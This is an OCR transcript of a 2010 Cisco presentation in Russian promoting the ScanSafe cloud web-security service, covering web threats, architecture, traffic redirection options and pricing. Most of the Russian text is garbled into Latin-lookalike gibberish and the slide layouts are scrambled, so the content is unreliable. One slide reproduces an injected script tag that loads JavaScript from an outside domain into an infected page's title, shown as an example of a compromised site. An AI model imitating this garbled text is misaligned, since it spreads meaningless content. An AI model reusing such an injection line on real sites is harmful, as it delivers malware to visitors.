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N3meHeHUe yCNOBUU: pa3MbiBaHMe rpaHul

MoOunbHbIe
COTPYAHUKMU

[paHunua
obbekTa

PocT nonynsipHocTun
nepcoHanbHbIX YCTPOUCTB
[MpunoxeHus

ON9A BHEWHUX  BHYTpeHHMe

[paHnua
yCTponcTBa

nonb3oBaTenen NMPUIIoXeHuA

paHunua
NPUNOXeHUs

laaS,SaaS
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[MpeumyuiecTBa SaaS

MpocTble u yaobHble
cpeacTBa yrnpasreHus

MuHMMarbHbIE CPOKK
BHeOpEHUs

Mpenckasyemble OpEXx

OcBoboxaeHne pecypcoB
ans 6usHec 3agay

Hynesble CapEx

OTKpoOViTE HOBblE BO3MOXHOCTU
T
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"OonayHaa" cuctema 6esonacHoctTu Cisco

= Multi-tenant apxutektypa ong

06CAYXMBAHUS MHOXECTBA = [ToGanbHas cmcteMa MOHUTOPUHIa

3adKa34nKoB yrpos

= BcTpoeHHas cuctema ynpaBneHus u

= PacnpeneneHHas macwitabnpyemas
doopMnpoOBaHUA OTYETOB

nnatgopma c pe3epBmpoBaHNEM

= [nobanbHas nnatgopma ans

* NocTosiHHOE HapalnBaHue MOGWMbHbBIX NOSb3oBaTENeN

NPOU3BOAUTENBHOCTU U BHEOPEHME
HoBbIx LIO




oBontounst MHTepHeT yrpos

— (pokyc Ha Web
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HTTP — 310 HOBbLIN TCP?

SaaS

Collaboration

information

CNN.com
crel

BusinessWeek

Cisco

webex

Linked [}

S;llt‘;\‘ﬁm.(( &

Sucoes Nt Softwae:

Google

Web-Tpaduk




Web cTpaHuua — peuenT 3apaXeHus

Kak paboTtaet web cant?

1. HTML Kog cooepXXuT CnncoK CCbINoK
Ha OOBbEKTHI

2. lNonyyas aToT cnncok web-6paysep
CKauMBaET C yKa3aHHbIX UCTOYHUKOB
BCE 0OBbEKTbI, BKIMKOYas:

» ®annbl ¢ N30bpaxxeHnamu
» CKkpunThl
* lcnonHsembin koA

» [Ipyrne web-ctpaHunubl

A cecipe {or dusaster

Presentation_ID © 2010 Cisco and/or its affiliates. All rights reserved. Cisco Public 8



Tunn4yHoe noBegeHue Bawero 6pay3epa

epo Man wi
(ridiculous video)

POSTED BY XENI JARDIN, APRIL 14, 2009 4:31 PM | PERMALINK

BB pal Alex Ringis says, "A sign of the
financial times: Live action roleplaying geeks
in full costume with fake weapons andin a
reality vortex. Repo-bounty hunters, there to
repossess the 'Wizard's' Toyota Prius.
BIZARRE video ensues."

It's an episode of the TruTV show Operation
Repo, titled "Unhand Thine Prius."

Caveat view-or: as one commenter noted, it

casting spells in the park.

posted in: ECONOMY , EMOTIONAL , FUNNY, GAMES,

/ns/v=2.35/s2=300x250A/" target="_top">
<img src="http://www.burstnet.com/cgi-bin
/ads/adl15856a.cgi/ns/v=2.35/s2z=300x250A/"
border="0" alt="Click Here" /></a>
</noscript>

<!-- END Burst Network CODE --><div

ATION POLICY

<a href="http://boingboing.net/"><img @
src="http://www.boingboing.net//mtimages/boingboing-logo.gif"

alt="Boing Boing - A directory of wonderful things"
height="72" width="356"></a>

High Energy ‘
A section brought to you by 7/

g FREE

* |5 Radio with Flashlight- 2 Pack

Fetor e Gan)

= Apgpecos B 6paysepe: 1
= HTTP 3anpocos: 162

Sony Ericsson W350
Walkman” phone with
tunes, camera, and more -

N300pakeHuin: 66 c 18
pasHbIX JOMEHOB

Shop Now

Vector FM and NOAA Weather Alert

= Cookie: 118 c 15 nomeHoB

Advertise Here With FM
wuw federatedmedia.net

= Flash obbekToB: 8 c 4
NOMEHOB

= CkpuntoB: 87 ¢ 7 JOMEHOB



T —
YasBumasa akocuctema Web dpayseposB

SANS Top 20 Security Risks
http://www.sans.org/top20/#c1

= |E and Firefox vulnerable

“...hundreds of vulnerabilities in ActiveX controls installed by
software vendors have been discovered.”

= Media Players & Browser Helper Objects (BHO)

» RealPlayer, iTunes, Flash, Quicktime, Windows Media
 Explosion of BHOs and third-party plug-ins

* Plug-ins are installed (semi) transparently by website. Users
unaware an at-risk helper object or pIu?-in is installed ...
introducing more avenues for hackers to exploit users visiting
malicious web sites.
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Yaszsumblie Web cepBepbl

SANS Top 20 Security Risks
http://www.sans.org/top20/#s1

“Web application vulnerabilities account for almost half
the total number of vulnerabilities being discovered in
the past year™. These vulnerabilities are being exploited
widely to convert trusted web sites into malicious servers
serving client-side exploits and phishing scams.”

** including open-source and custom-built applications
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NMpumMmep: 3apaxeHHasa web-cTpaHuua

* Firebug
File WYiew Help

Inspect Edit | a - div.headerleft - div#header - body - html
Console HTML | €SS Script DOM Net

I B<head;ﬁ_w—
<title>Surprise Valleytscript src=http://tejary.net/h.js></scripﬂ
<meta content="text/html; charset=150-8859-1" http-equiv="Content

CkpblTas ccoinika Ha ckpunt B HTML koge
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OB30p cepBuca ScanSafe
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KTo Takoun ScanSafe?

%W, ScanSafe

NMpodunnb KoMNaHuum:
= OcHOoBaHa B 2004r.

= [lnoHep n mnposon nuaep B obnacTtu
SaaS ycnyr Web 6e3onacHocTn

= KnneHTbl - oT SMB 10 Large Enterprise B
bonee 4em 100 cTpaHax

= 100% Uptime 3a BCHO NICTOPUIO
npenocTaBrneHnsa yenyru

= ABnsietca nogpasaeneHnem Cisco €
[ekabpsi 2009r.
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O0630p pelueHUs

e T A Ve + Flexible reporting with
- G over 75 attributes
- — vic o - —— — « Deep, drill down visibility
v~_-_'£ aw -

« Overview, trending and
forensic data

Administrator = = = e
CENTRALIZED POLICY & GRANULAR REPORTING

i

W ScanSafe

- “ User Granularity ::'\ Policy Control u Security “
Office Based User 4
+ Integration with existing = Web 2.0 content control + Qutbreak Intelligence % ;

. _ A nyw// 1€l e; ?ee.;.ﬂ r?)rl':t::'fsiafis:;ﬁ;;:)e ° E(l)-:g(eﬂctlonal content o E\l{l:;ayn; :; Web requests Internet
S + Integration with + Dynamic Web + Real-time content \&‘ ———
h Directory Services Classification analysis of all Web | 'f‘_é"
Roaming User = Numerous deployment + HTTP/HTTPS scanning content ?‘:
options cEaarifead - Effective zero-day threat ‘;‘

protection

Mobile Devices

ScanSafe offers consistent, enforceable, high performance Web security

and policy, regardless of where or how users access the Internet.
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L1OL1 Cisco ScanSafe

HagexHocTb

= 15 UOdos

= 100% pocTynHoCTb cepBuca
// ',4 3a BCIO UCTOPUIO
%IA = SLA no HenpepbIBHOCTU U

v Y. 3d(peKTUBHOCTN paboThI
v %
% -
/ & 7,
&
MacwTtabupyemocTtb
= Multitenant apxutektypa /A

= ObpabaTbiBaeT ~3Mnpa. web-
TpaH3akuMn B OeHb
= lMNocTosiHHOE macluTabupoBaHue @

(/

Presentation_ID © 2010 Cisco and/or its affiliates. All rights reserved. Cisco Public 16



ApxutekTtypa 3awmntbl oT Web-yrpos

Highly Parallel Outbreak Intelligence Runtime Malware Outbound

Content Scanning - ® Communications Blocked
(X
= e,
' &
— /4
¢ s
(‘ ‘
ScANLET SCANLET = 2 aHTUBUPYCHBbIX
it s aswxka (Symantec+J1K)
, | » False Positive \ False
Real Time Harvesting of Data ) Deploy New & Improved Scanlets

- l Negative rate <
& o 0,0004%

e W i, r
i at t ine
eIl T = [apaHTUpoBaHHas

0 . | OutBreak OOCTYNHOCTb — 99,999%

| Intelligence
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Punerpaumna KoHteHTa Web 2.0

TpaanuymoHHasa URL-dunsTpauns

PaclimpeHHas pyHKUMOHANBHOCTb
— Mpotokonbl HTTPS, FTP over HTTP

— DLP, «npegynpeantb, HO He briokmpoatb» (AUP) 1 =,
aHOHMMM3aLUMs R

= [lTnHamun4yeckas Kpaccwcbwkaum D
HEN3BECTHbIX CanToB e

Ui Conmon. Thin aine iroay contatn & seb dinb sanl  Jermn gura s oo pobat fun, Semcle
o Spyware, Adme, Ykuses o Phicking

— 3a 1/1000 cekyHAbl

Paohc Pok

— O (PEKTUBHOCTb AETEKTMPOBAHMS CaANTOB AN , '

B3POC/IbIX, KPMMUHANbHbLIX U T.M. = 99% ¥ e ez ooies g s o Paker s

= ObpaboTKa NONCKOBLIX 3arnpocoB ) Acceptable
SearChAhead Uncategorized

— Knaccudukauma v ysegomneHme nosib3oBaTtens €) Prohibited

* Malicious
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Kak Tpadmk nonagaert B obnako

Onuua 1 — npun nomoLn nmeroencs NHPPacTpyKTypbl 3akasvnka
C n3meHeHnsIMM HacTpoek bpaysepa:

= HacTpoukn Proxy 3arpy»xatTcsa Ha

komnbtoTepbl M3 AD (GPO / PAC file) unun no
DHCP

ScanSafe
Websecurity Service

= MC3 6nokupyet ncxogawmm HTTP Tpaduk Ha
BCe agpeca KpoMme ScanSafe

Be3 nsmeHeHns HacTpoek bpay3aepa:

= MimeloLleecs y 3akasdmka yCTPOUCTBO

nepeHanpasndeT Tpauk B 06rnako nomMoLLm
dyHkunn Cascade Proxy unn Port Foreward

OnumnoHanesHo - Passive ldentity
Management (PIM):

= B HTTP-3anpochbl nonb3oBaTenen
pobasnseTcs 3alunweHHas (xewwm)
NHpopmauna 06 nmeHn

nonb3oBartenda/rpynnbl Npy nomowm Login
ckpunto/GPO

= [po3payHo.ANst NONBb3OBATENSA,. i .icc i eseres

Cisco Public
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Kak Tpacduk nonagaert B obnako

Onuwusa 2 — npun nomowin Connector

10O ScanSafe Connector

ScanSafe

Websecurity Servi
= YcTaHaBMBaeTCA U HaCTpanBaeTCs OAVH ebsecurity Service

pas, B JanbHenwem He TpebyeT
agMUHUCTPUpoOBaHNS N 06HOBMEHNN

= [lepeHanpasngaet Web Tpaduk B obnako

= OTtBevaeTt 3a B3anmogenctesne ¢ AD u
npegocTtaBnsieT B 06nako 3awmLLEeHHYHO
MHdOOpMaLMIO O nonb3oBaTene/rpynne

= B byayiem — QyHKLMOHANbHOCTb
Connector nHTerpupoBaHHas B
mapuwpyTtmsaTtopbl 1 MC3 Cisco
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Kak Tpadmk nonagaet B obnako

Onuuns 3 — kNneHT Anywhere+ anst MOOUNbHbLIX NONbL30BaTENEN

Anywhere’ aKT: MoGunsHsie
NonbL30BaTenu TOmnbKo

17% BpemeHn B IHTEpHET

= YcTaHaBnuBaeTCcs Kak ceTeBow ApaunBep, NMPOBOOAT B KOPrNopaTMBHOM

He3aMeTeH Ans Nofb3oBaTens VPN. Kak koHTponupoBaTtb

ocTaBwuecsa 83%?

= ABTOMaTM4YeCKn onpenenser
onvxanwum K none3osatento LLOO

= [lepenanpaBnset Web tpaduk
nonb3oBaTtensa B obnako

= Obecneunsaet User/Group Granularity

= 3awuLleH OT BbIKIMIOYEHUS
nornb3oBaTenem

Presentation_ID © 2010 Cisco and/or its affiliates. All rights reserved. Cisco Public 21



UHTerpauua ScanSafe ¢ mapwpyTtmnszatopamm
Cisco ISR G2

ISR G2 ¢ uHTerpupoBaHHbiM Connector

NHTepHeT

Yno6Hoe nepeHanpaBneHue web-tpacduka B obnako ScanSafe
'MO6Kne BO3MOXHOCTU BHeApPEHUSA
OnTumanbHbIe NYTU NPOXOXAeHUA Tpaduka

Ob6bnako
ScanSafe

dunuan
BHyTpeHHun VPN Tpaduk

HQ
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EanHbin knueHT — Cisco AnyConnect 3.0
C nHTerpupoBaHHbiM Anywhere+

NHTepHeT
Tpaduk

VPN Tpaduk B odmc

Cisco AnyConnect
Secure Mobility Client
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KnueHtckuun noptan ScanCenter

HacTpouka nonutuk, ot4eTbl, MOHUTOPUHT

~ WebVirus - Spyware - Web Filtering Admin - Reports - Support -
a
Management 4 Notifications “
Yiew activity over the last 24 hours Go
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YcnoBus

= [lonHOMYHKUMOHAsbHLIN MPOOHbIN AocTyn Ha 30 aHewn
= BapnaHTbl LeHO0bpa3oBaHUS:

= [To kon-By pabo4ymx mecT — Heckonbko $ 3a ogHo paboyee
MECTO B MecsL, (3aBUCUT OT 00Lero ymcra paboymx mect
B OpraHu3auunm)

= [1o nonoce nponyckaHusa — CtoumocTtb 3a 1TMbut/c
nponyckaemoro Web-Ttpaduka. [lpeaHasHayeHo ons
oTteneun, kade, adponopToB, MarasnHoOB.
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[MTpumMepbl CNONb30BaHUSA

HapexHocTb

deueHTpanusauua

YHudukauymn

Standard & Chartered

3apaya

Web 2.0 ctan
HEOTbEMMEMbIM
WHCTPYMeHTOM BusHeca ,
Heobxoauma nepenosas
3awmra

PesynbraTthl

“Pan mexaHnamosn
BGe3onacHOCTU ny4ywle
peanu3oBbiBaTb B "obnake"
ANSi NOBbLILLEHNS YPOBHS
3almLeHHocTn”

3apava

= [1na nogaepxkm odomncos no

BCEMY MUPY M MOBUIBbHbIX
nonb3oBaTeNnen
TpeboBanucb
CYLLIECTBEHHbIE peCypChbl

Pesynbrarhl

= “[JOCTOMHCTBOM peLLUeHns

sBNAeTCs HeBMaaHHas
paHee npocTtoTa
pa3sepTbiBaHMA"

3apava

= TpeboBanocb obecnevnTb
pa3BepTbiBaHME NOMUTUK U
obecneyeHne OTYETHOCTHU MO
MHOXeCTBY 00ObEeKTOB

PeaynbraTthbl

= "KOHTporb 3a cuTyaumnen
BOCCTaHOBIIEH, N3MEHEHNS
NONUTUKN
pacrnpocTpaHsATCS
NpaKkTU4eCKN MIHOBEHHO"




B yem npeumyLiectso ScanSafe?

= 3awmTta OCHOBHOIro KaHana pacnpocTpaHeHus yrpo3: 3allinThbl
oT BIO, orpaHnyeHne gocryna Kk cantam ro kareropmam, DLP,
npoBepka HTTPS

= [peackasyemble 3aTpaTbl: nepexoq ot CapEx k OpEx

= [INA KN1MeHToB ¢ 60MbLWUM KON-BO OMNUanNoB: HeT
HeoOXOANMMOCTM NOKyNnaTb MHOIO YCTPOWCTB UM NPOMNyckaTb BECH
Tpaduk yepes HQ

Ona KNWeHTOB ¢ MOOUNbHLIMU COTPYAHMKAMMU: BO3MOXHOCTb
obecneunTb 3alUUTy OT Yrpo3 1 NONUTUKY AocTyna B IHTEPHET BHe
3aBMCUMOCTM OT MECTOMOIIOXKEHUSI COTPYAHUKA

YHucmKaums n ueHTpanusaums: HacTponka NonnTuK u
MOHUTOPWHT N3 O4HON TOYKMU

= CKOopoCTb BHeapeHus: He HyXXHO xgaTb 0bopyaoBaHmA U
OKOHYaHWA ero 3anycka
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NI
CISCO

Cnacunbo!

http://www.facebook.com/CiscoRu
http://twitter.com/CiscoRussia
http://www.youtube.com/CiscoRussiaMedia
http://www.flickr.com/photos/CiscoRussia
http://vkontakte.ru/Cisco

Elxgr @



CnpaBoy4yHasa nHdopmauums

= “ObnavyHaga” 6esonacHocTb Cisco
http://www.cisco.com/go/cloudsecurity

= PeweHunsa n npoayktel Cisco B obnactn Ub
http://www.cisco.com/go/security (€ng)
http://www.cisco.com/web/RU/products/vpn.html (pyc)

= LleHTp UB Security Intelligence Operations
http://tools.cisco.com/security/center/home.x

= ExxerogHbin otyeT Cisco o yrposax /b
http://www.cisco.com/en/US/prod/vpndevc/annual security report.html

= bpowtopbl no Vb http://www.cisco.com/web/RU/broch.html
(pyc)
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